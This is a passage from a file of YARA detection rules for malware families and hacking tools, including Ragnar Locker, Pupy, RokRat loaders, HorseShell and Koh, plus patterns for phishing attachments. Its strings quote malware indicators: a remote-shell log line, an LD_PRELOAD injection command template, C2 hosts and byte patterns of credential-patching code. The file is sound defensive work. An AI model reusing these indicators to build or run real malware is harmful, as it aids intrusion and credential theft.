		reference = "http://goo.gl/aAk3lN"
		date = "2015/01/13"
		score = 70
		id = "29daaffa-cd9d-55d3-b79d-cde1c76e9e45"

	strings:
		$injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 }
		$patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 }
		$patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }
		$patch_SamIRetrieveMultiplePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 }

	condition:
		any of them
}

rule PLEAD_Downloader_Jun18_1
{
	meta:
		description = "Detects PLEAD Downloader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html"
		date = "2018-06-16"
		hash1 = "a26df4f62ada084a596bf0f603691bc9c02024be98abec4a9872f0ff0085f940"
		id = "19d588d8-1f03-5f34-b82e-b645c28a19a4"

	strings:
		$s1 = "%02d:%02d:%02d" ascii fullword
		$s2 = "%02d-%02d-%02d" ascii fullword
		$s3 = "1111%02d%02d%02d_%02d%02d2222" ascii fullword
		$a1 = "Scanning..." wide fullword
		$a2 = "Checking..." wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( all of ( $s* ) or ( 2 of ( $s* ) and 1 of ( $a* ) ) )
}

rule MAL_RANSOM_Ragna_Locker_Apr20_1
{
	meta:
		description = "Detects Ragna Locker Ransomware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://otx.alienvault.com/indicator/file/c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
		date = "2020-04-27"
		hash1 = "c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
		id = "67164cb4-73b7-5c4e-88f9-42379b88c641"

	strings:
		$x1 = "---RAGNAR SECRET---" ascii
		$xc1 = { 0D 0A 25 73 0D 0A 0D 0A 25 73 0D 0A 25 73 0D 0A
               25 73 0D 0A 0D 0A 25 73 0D 0A 00 00 2E 00 72 00
               61 00 67 00 6E 00 61 00 72 00 5F }
		$xc2 = { 00 2D 00 66 00 6F 00 72 00 63 00 65 00 00 00 00
               00 57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C
               00 44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00
               00 5C 00 6E 00 6F 00 74 00 65 00 70 00 61 00 64
               00 2E 00 65 00 78 00 65 00 }
		$s1 = "bootfont.bin" wide fullword
		$sc2 = { 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 00
               00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 2E
               00 6F 00 6C 00 64 00 00 00 54 00 6F 00 72 00 20
               00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 }
		$op1 = { c7 85 58 ff ff ff 55 00 6b 00 c7 85 5c ff ff ff }
		$op2 = { 50 c7 85 7a ff ff ff 5c }
		$op3 = { 8b 75 08 8a 84 0d 20 ff ff ff ff 45 08 32 06 8b }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) or 4 of them
}

import "pe"

rule MAL_Ransom_Ragnarlocker_July_2020_1
{
	meta:
		description = "Detects Ragnarlocker by strings (July 2020)"
		author = "Arkbird_SOLG"
		reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969"
		date = "2020-07-30"
		hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87"
		id = "60e09057-d9f8-5e89-8f47-c5dda32806c6"

	strings:
		$f1 = "bootfont.bin" fullword wide
		$f2 = "bootmgr.efi" fullword wide
		$f3 = "bootsect.bak" fullword wide
		$r1 = "$!.txt" fullword wide
		$r2 = "---BEGIN KEY R_R---" fullword ascii
		$r3 = "!$R4GN4R_" wide
		$r4 = "RAGNRPW" fullword ascii
		$r5 = "---END KEY R_R---" fullword ascii
		$a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii
		$a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
		$a3 = "WinSta0\\Default" fullword wide
		$a4 = "%s-%s-%s-%s-%s" fullword wide
		$a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide
		$c1 = "-backup" fullword wide
		$c2 = "-force" fullword wide
		$c3 = "-vmback" fullword wide
		$c4 = "-list" fullword wide
		$s1 = ".ragn@r_" wide
		$s2 = "\\notepad.exe" wide
		$s3 = "Opera Software" fullword wide
		$s4 = "Tor browser" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and ( pe.imphash ( ) == "2c2aab89a4cba444cf2729e2ed61ed4f" and ( ( 2 of ( $f* ) ) and ( 3 of ( $r* ) ) and ( 4 of ( $a* ) ) and ( 2 of ( $c* ) ) and ( 2 of ( $s* ) ) ) )
}

rule Shellcode_APIHashing_FIN8
{
	meta:
		description = "Detects FIN8 Shellcode APIHashing"
		author = "Frank Boldewin (@r3c0nst)"
		date = "2021-03-16"
		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
		id = "bca5601c-2998-545b-8dd0-ec3c861e6291"

	strings:
		$APIHashing32bit1 = {81 F7 99 5D 52 69 81 F3 30 D7 00 AB}
		$APIHashing32bit2 = {68 F2 55 03 88 68 65 19 6D 1E}
		$APIHashing32bit3 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4}
		$APIHashing64bit1 = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21}
		$APIHashing64bit2 = {48 B8 99 5D 52 69 30 D7 00 AB}

	condition:
		all of ( $APIHashing32bit* ) or all of ( $APIHashing64bit* )
}

rule MAL_LNX_CamaroDragon_Sheel_Oct23
{
	meta:
		description = "Detects CamaroDragon's tool named sheel"
		author = "Florian Roth"
		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
		date = "2023-10-06"
		score = 85
		hash1 = "7985f992dcc6fcce76ee2892700c8538af075bd991625156bf2482dbfebd5a5a"
		id = "f6f08c0e-236c-5194-9369-da8fdef4aa21"

	strings:
		$x1 = "-h server_ip -p server_port -i update_index[0-4] [-r]" ascii fullword
		$s1 = "read_ip" ascii fullword
		$s2 = "open fail.%m" ascii fullword
		$s3 = "ri:h:p:" ascii fullword
		$s4 = "update server list success!" ascii fullword

	condition:
		uint16( 0 ) == 0x457f and filesize < 30KB and ( 1 of ( $x* ) or 3 of them ) or 4 of them
}

rule MAL_LNX_CamaroDragon_HorseShell_Oct23
{
	meta:
		description = "Detects CamaroDragon's HorseShell implant for routers"
		author = "Florian Roth"
		reference = "https://research.checkpoint.com/2023/the-dragon-who-sold-his-camaro-analyzing-custom-router-implant/"
		date = "2023-10-06"
		score = 85
		hash1 = "998788472cb1502c03675a15a9f09b12f3877a5aeb687f891458a414b8e0d66c"
		id = "9e54745f-146f-50a6-b30f-53aaaa6907b5"

	strings:
		$x1 = "echo \"start shell '%s' failed!\" > .remote_shell.log" ascii fullword
		$x2 = "*****recv NET_REQ_HORSE_SHELL REQ_CONNECT_PORT*****" ascii fullword
		$s1 = "m.cremessage.com" ascii fullword
		$s2 = "POST http://%s/index.php HTTP/1.1" ascii fullword
		$s3 = "wzsw_encrypt_buf" ascii fullword
		$s4 = "body:%d-%s" ascii fullword
		$s5 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident" ascii fullword
		$s6 = "process_http_read_events" ascii fullword
		$op1 = { c4 34 42 00 02 30 63 00 40 10 60 00 09 ae 62 00 48 8e 62 00 cc }
		$op2 = { 27 f4 8c 46 27 f0 03 20 f8 09 00 60 28 21 }

	condition:
		uint16( 0 ) == 0x457f and filesize < 600KB and ( 1 of ( $x* ) or 3 of them ) or 5 of them
}

rule HKTL_Koh_TokenStealer
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project."
		author = "Will Schroeder (@harmj0y)"
		reference = "https://github.com/GhostPack/Koh"
		id = "76b6cc9f-5db7-5e9b-939c-e713bad8137a"

	strings:
		$x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii
		$s1 = "[*] Already SYSTEM, not elevating" wide fullword
		$s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide
		$s3 = "0x[0-9A-Fa-f]+$" wide
		$s4 = "\\Koh.pdb" ascii

	condition:
		uint16( 0 ) == 0x5A4D and 1 of ( $x* ) or 3 of them
}

rule HDRoot_Sample_Jul17_1
{
	meta:
		description = "Detects HDRoot samples"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Winnti HDRoot VT"
		date = "2017-07-07"
		hash1 = "6d2ad82f455becc8c830d000633a370857928c584246a7f41fe722cc46c0d113"
		id = "06356f8a-bacd-51bc-a6f4-107983a9c16e"

	strings:
		$s1 = "gleupdate.dll" fullword ascii
		$s2 = "\\DosDevices\\%ws\\system32\\%ws" wide
		$s3 = "l\\Driver\\nsiproxy" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 60KB and 3 of them )
}

rule HDRoot_Sample_Jul17_2
{
	meta:
		description = "Detects HDRoot samples"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Winnti HDRoot VT"
		date = "2017-07-07"
		super_rule = 1
		hash1 = "1c302ed9786fc600073cc6f3ed2e50e7c23785c94a2908f74f92971d978b704b"
		hash2 = "3b7cfa40e26fb6b079b55ec030aba244a6429e263a3d9832e32ab09e7a3c4a9c"
		hash3 = "71eddf71a94c5fd04c9f3ff0ca1eb6b1770df1a3a8f29689fb8588427b5c9e8e"
		hash4 = "80e088f2fd2dbde0f9bc21e056b6521991929c4e0ecd3eb5833edff6362283f4"
		id = "9ce9c0f4-e6f9-5033-ba74-367e6d741650"

	strings:
		$x1 = "http://microsoftcompanywork.htm" fullword ascii
		$x2 = "compose.aspx?s=%4X%4X%4X%4X%4X%4X" fullword ascii
		$t1 = "http://babelfish.yahoo.com/translate_url?" fullword ascii
		$t2 = "http://translate.google.com/translate?prev=hp&hl=en&js=n&u=%s?%d&sl=es&tl=en" fullword ascii
		$u1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5." ascii
		$u2 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)" fullword ascii
		$u3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; TERA:" fullword ascii
		$s1 = "\\system32\\ntoskrnl.exe" ascii
		$s2 = "Schedsvc.dll" fullword wide
		$s3 = "dllserver64.dll" fullword ascii
		$s4 = "C:\\TERA_SR.txt" fullword ascii
		$s5 = "updatevnsc.dat" fullword wide
		$s6 = "tera dll service global event" fullword ascii
		$s7 = "Referer: http://%s/%s" fullword ascii
		$s8 = "tera replace dll config" fullword ascii
		$s9 = "SetupDll64.dll" fullword ascii
		$s10 = "copy %%ComSpec%% \"%s\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( 1 of ( $x* ) or all of ( $u* ) or 8 of them )
}

rule Unspecified_Malware_Jul17_1A
{
	meta:
		description = "Detects samples of an unspecified malware - July 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Winnti HDRoot VT"
		date = "2017-07-07"
		hash1 = "e1c38142b6194237a4cd4603829aa6edb6436e7bba15e3e6b0c9e8c6b629b42b"
		id = "348515d5-784f-519d-b426-87b8a53de5f3"

	strings:
		$s1 = "%SystemRoot%\\System32\\wuauserv.dll" fullword ascii
		$s2 = "systemroot%\\system32\\wuauserv.dll" fullword ascii
		$s3 = "ocgen.logIN" fullword wide
		$s4 = "ocmsn.logIN" fullword wide
		$s5 = "Install.log" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and all of them )
}

rule apt_win32_dll_rat_1a53b0cp32e46g0qio7
{
	meta:
		description = "Detects Inocnation Malware"
		author = "Fidelis Cybersecurity"
		score = 75
		hash1 = "75d3d1f23628122a64a2f1b7ef33f5cf"
		hash2 = "d9821468315ccd3b9ea03161566ef18e"
		hash3 = "b9af5f5fd434a65d7aa1b55f5441c90a"
		reference = "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL.pdf"
		id = "1f2250b7-fee4-5031-aeba-90d35319b560"

	strings:
		$s1 = { c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00 }
		$s2 = { c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00 }
		$s3 = { 66 [4-7] 0d 40 83 f8 44 7c ?? }
		$s4 = { 66 [4-7] 14 40 83 f8 14 7c ?? }
		$s5 = { 66 [4-7] 56 40 83 f8 2d 7c ?? }
		$s6 = { 66 [4-7] 20 40 83 f8 1a 7c ?? }
		$s7 = { 80 [2-7] 2e 40 3d 50 02 00 00 72 ?? }
		$s8 = "%08x%08x%08x%08x" wide ascii
		$s9 = "WinHttpGetIEProxyConfigForCurrentUser" wide ascii

	condition:
		( uint16( 0 ) == 0x5A4D or uint32( 0 ) == 0x464c457f ) and ( all of them )
}

import "pe"

rule Pupy_Backdoor
{
	meta:
		description = "Detects Pupy backdoor"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/n1nj4sec/pupy-binaries"
		date = "2017-08-11"
		hash1 = "ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153"
		hash2 = "83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4"
		hash3 = "90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc"
		hash4 = "20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8"
		hash5 = "06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e"
		hash6 = "be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2"
		hash7 = "8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01"
		id = "11509847-3454-5412-b3e1-02ad9cccc6ae"

	strings:
		$x1 = "reflectively inject a dll into a process." fullword ascii
		$x2 = "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" fullword ascii
		$x3 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" fullword ascii
		$x4 = "reflective_inject_dll" fullword ascii
		$x5 = "ld_preload_inject_dll" fullword ascii
		$x6 = "get_pupy_config() -> string" fullword ascii
		$x7 = "[INJECT] inject_dll. OpenProcess failed." fullword ascii
		$x8 = "reflective_inject_dll" fullword ascii
		$x9 = "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)" fullword ascii
		$x10 = "linux_inject_main" fullword ascii

	condition:
		(( uint16( 0 ) == 0x457f or uint16( 0 ) == 0x5a4d ) and filesize < 7000KB and 1 of them ) or 3 of them or ( uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "84a69bce2ff6d9f866b7ae63bd70b163" )
}

rule APT_RUBY_RokRat_Loader : InkySquid
{
	meta:
		author = "threatintel@volexity.com"
		description = "Ruby loader seen loading the ROKRAT malware family."
		date = "2021-06-22"
		hash1 = "5bc52f6c1c0d0131cee30b4f192ce738ad70bcb56e84180f464a5125d1a784b2"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		id = "69d09560-a769-55d3-a442-e37f10453cde"

	strings:
		$magic1 = "'https://update.microsoft.com/driverupdate?id=" ascii wide
		$magic2 = "sVHZv1mCNYDO0AzI';" ascii wide
		$magic3 = "firoffset..scupd.size" ascii wide
		$magic4 = /alias UrlFilter[0-9]{2,5} eval;"/
		$s1 = "clRnbp9GU6oTZsRGZpZ"
		$s2 = "RmlkZGxlOjpQb2ludGVy"
		$s3 = "yVGdul2bQpjOlxGZklmR"
		$s4 = "XZ05WavBlO6UGbkRWaG"

	condition:
		any of ( $magic* ) or any of ( $s* )
}

rule APT_PY_BlueLight_Loader : InkySquid
{
	meta:
		author = "threatintel@volexity.com"
		description = "Python Loader used to execute the BLUELIGHT malware family."
		date = "2021-06-22"
		hash1 = "80269413be6ad51b8b19631b2f5559c9572842e789bbce031babe6e879d2e120"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		id = "f8da3e40-c3b0-5b7f-8ece-81874993d8cd"

	strings:
		$s1 = "\"\".join(chr(ord(" ascii
		$s2 = "import ctypes " ascii
		$s3 = "ctypes.CFUNCTYPE(ctypes.c_int)" ascii
		$s4 = "ctypes.memmove" ascii
		$s5 = "python ended" ascii

	condition:
		all of them
}

rule APT_MAL_Win_DecRok : InkySquid
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-06-23"
		description = "The DECROK malware family, which uses the victim's hostname to decrypt and execute an embedded payload."
		hash = "6a452d088d60113f623b852f33f8f9acf0d4197af29781f889613fed38f57855"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		id = "dc83843d-fd2a-52f1-82e8-8e36b135a0c5"

	strings:
		$v1 = {C7 ?? ?? ?? 01 23 45 67 [2-20] C7 ?? ?? ?? 89 AB CD EF C7 ?? ?? ?? FE DC BA 98}
		$av1 = "Select * From AntiVirusProduct" wide
		$av2 = "root\\SecurityCenter2" wide
		$funcformat = { 25 30 32 78 [0-10] 43 72 65 61 74 65 54 68 72 65 61 64 }

	condition:
		all of them
}

rule APT_MAL_Win_RokLoad_Loader : InkySquid
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-06-23"
		description = "A shellcode loader used to decrypt and run an embedded executable."
		hash = "85cd5c3bb028fe6931130ccd5d0b0c535c01ce2bcda660a3b72581a1a5382904"
		license = "See license at https://github.com/volexity/threat-intel/LICENSE.txt"
		reference = "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
		id = "229dbf3c-1538-5ecd-b5f8-8c9a9c81c515"

	strings:
		$bytes00 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 57 41 54 41 55 41 56 41 57 48 ?? ?? ?? b9 ?? ?? ?? ?? 33 ff e8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 4c 8b e8 e8 ?? ?? ?? ?? 4c 8b f0 41 ff d6 b9 ?? ?? ?? ?? 44 8b f8 e8 ?? ?? ?? ?? 4c 8b e0 e8 ?? ?? ?? ?? 48 }

	condition:
		$bytes00 at 0
}

rule APT_NK_Scarcruft_RUBY_Shellcode_XOR_Routine
{
	meta:
		author = "S2WLAB_TALON_JACK2"
		description = "Detects Ruby ShellCode XOR routine used by ScarCruft APT group"
		type = "APT"
		version = "0.1"
		date = "2021-05-20"
		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
		id = "c393f2db-8ade-5083-9cec-f62f23056f8b"

	strings:
		$hex1 = {C1 C7 0D 40 F6 C7 01 74 ?? 81 F7}
		$hex2 = {41 C1 C2 0D 41 8B C2 44 8B CA 41 8B CA 41 81 F2}

	condition:
		1 of them
}

rule APT_NK_Scarcruft_evolved_ROKRAT
{
	meta:
		author = "S2WLAB_TALON_JACK2"
		description = "Detects RokRAT malware used by ScarCruft APT group"
		type = "APT"
		version = "0.1"
		date = "2021-07-09"
		reference = "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48"
		id = "53cabf41-0154-5372-b667-60d8a7cb9806"

	strings:
		$AES_IV_KEY = {
        C7 44 24 ?? 32 31 12 23
        C7 44 24 ?? 34 45 56 67
        C7 44 24 ?? 78 89 9A AB
        C7 44 24 ?? 0C BD CE DF
        C7 45 ?? 2B 7E A5 16
        C7 45 ?? 28 AE D2 A6
        C7 45 ?? AB F7 15 88
        C7 45 ?? 09 CF 4F 3C
        }
		$url_deocde = {
               80 E9 0F
               80 F1 C8
               88 48 ??
               48 83 EA 01  }

	condition:
		uint16( 0 ) == 0x5A4D and any of them
}

rule FakeM_Generic
{
	meta:
		description = "Detects FakeM malware samples"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
		date = "2016-01-25"
		modified = "2023-01-06"
		score = 85
		hash1 = "631fc66e57acd52284aba2608e6f31ba19e2807367e33d8704f572f6af6bd9c3"
		hash2 = "3d9bd26f5bd5401efa17690357f40054a3d7b438ce8c91367dbf469f0d9bd520"
		hash3 = "53af257a42a8f182e97dcbb8d22227c27d654bea756d7f34a80cc7982b70aa60"
		hash4 = "4a4dfffae6fc8be77ac9b2c67da547f0d57ffae59e0687a356f5105fdddc88a3"
		hash5 = "7bfbf49aa71b8235a16792ef721b7e4195df11cb75371f651595b37690d108c8"
		hash6 = "12dedcdda853da9846014186e6b4a5d6a82ba0cf61d7fa4cbe444a010f682b5d"
		hash7 = "9adda3d95535c6cf83a1ba08fe83f718f5c722e06d0caff8eab4a564185971c5"
		hash8 = "3209ab95ca7ee7d8c0140f95bdb61a37d69810a7a23d90d63ecc69cc8c51db90"
		hash9 = "41948c73b776b673f954f497e09cc469d55f27e7b6e19acb41b77f7e64c50a33"
		hash10 = "53cecc0d0f6924eacd23c49d0d95a6381834360fbbe2356778feb8dd396d723e"
		hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
		id = "51a285ce-a4cb-5068-b079-a8227690365f"

	strings:
		$a1 = "\\system32\\kernel32.dll" ascii
		$a2 = "\\boot.lnk" ascii
		$a3 = "%USERPROFILE%" fullword ascii
		$b1 = "Wizard.EXE" fullword wide
		$b2 = "CommandLineA" fullword ascii
		$c1 = "\\system32\\kernel32.dll" ascii
		$c2 = "\\aapz.tmp" ascii
		$e1 = "C:\\Documents and Settings\\A\\" ascii
		$e2 = "\\svchost.exe" ascii
		$e3 = "\\Perform\\Release\\Perform.pdb" ascii
		$f1 = "Browser.EXE" fullword wide
		$f2 = "\\browser.exe" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( all of ( $a* ) or all of ( $b* ) or all of ( $c* ) or all of ( $e* ) or 1 of ( $f* ) )
}

rule SUSP_ZIP_LNK_PhishAttachment_Pattern_Jun22_1
{
	meta:
		description = "Detects suspicious tiny ZIP files with phishing attachment characteristics"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2022-06-23"
		score = 65
		hash1 = "4edb41f4645924d8a73e7ac3e3f39f4db73e38f356bc994ad7d03728cd799a48"
		hash2 = "c4fec375b44efad2d45c49f30133efbf6921ce82dbb2d1a980f69ea6383b0ab4"
		hash3 = "9c70eeac97374213355ea8fa019a0e99e0e57c8efc43daa3509f9f98fa71c8e4"
		hash4 = "ddc20266e38a974a28af321ab82eedaaf51168fbcc63ac77883d8be5200dcaf9"
		hash5 = "b59788ae984d9e70b4f7f5a035b10e6537063f15a010652edd170fc6a7e1ea2f"
		id = "3537c4ea-a51d-5100-97d7-71a24da5ff43"

	strings:
		$sl1 = ".lnk"

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 2KB and $sl1 in ( filesize - 256 .. filesize )
}

rule SUSP_ZIP_ISO_PhishAttachment_Pattern_Jun22_1
{
	meta:
		description = "Detects suspicious small base64 encoded ZIP files (MIME email attachments) with .iso files as content as often used in phishing attacks"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2022-06-23"
		score = 65
		id = "638541a6-d2d4-513e-978c-9d1b9f5e3b71"

	strings:
		$pkzip_base64_1 = { 0A 55 45 73 44 42 }
		$pkzip_base64_2 = { 0A 55 45 73 44 42 }
		$pkzip_base64_3 = { 0A 55 45 73 48 43 }
		$iso_1 = "Lmlzb1BL"
		$iso_2 = "5pc29QS"
		$iso_3 = "uaXNvUE"

	condition:
		filesize < 2000KB and 1 of ( $pk* ) and 1 of ( $iso* )
}

rule SUSP_Archive_Phishing_Attachment_Characteristics_Jun22_1
{
	meta:
		description = "Detects characteristics of suspicious file names or double extensions often found in phishing mail attachments"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/0xtoxin/status/1540524891623014400?s=12&t=IQ0OgChk8tAIdTHaPxh0Vg"
		date = "2022-06-29"
		score = 65
		hash1 = "caaa5c5733fca95804fffe70af82ee505a8ca2991e4cc05bc97a022e5f5b331c"
		hash2 = "a746d8c41609a70ce10bc69d459f9abb42957cc9626f2e83810c1af412cb8729"
		id = "3cb8c371-f40b-5773-84d1-3bce37da529e"

	strings:
		$sa01 = "INVOICE.exePK" ascii
		$sa02 = "PAYMENT.exePK" ascii
		$sa03 = "REQUEST.exePK" ascii
		$sa04 = "ORDER.exePK" ascii
		$sa05 = "invoice.exePK" ascii
		$sa06 = "payment.exePK" ascii
		$sa07 = "_request.exePK" ascii
		$sa08 = "_order.exePK" ascii
		$sa09 = "-request.exePK" ascii
		$sa10 = "-order.exePK" ascii
		$sa11 = " request.exePK" ascii
		$sa12 = " order.exePK" ascii
		$sa14 = ".doc.exePK" ascii
		$sa15 = ".docx.exePK" ascii
		$sa16 = ".xls.exePK" ascii
		$sa17 = ".xlsx.exePK" ascii
		$sa18 = ".pdf.exePK" ascii
		$sa19 = ".ppt.exePK" ascii
		$sa20 = ".pptx.exePK" ascii
		$sa21 = ".rtf.exePK" ascii
		$sa22 = ".txt.exePK" ascii
		$sb01 = "SU5WT0lDRS5leGVQS"
		$sb02 = "lOVk9JQ0UuZXhlUE"
		$sb03 = "JTlZPSUNFLmV4ZVBL"
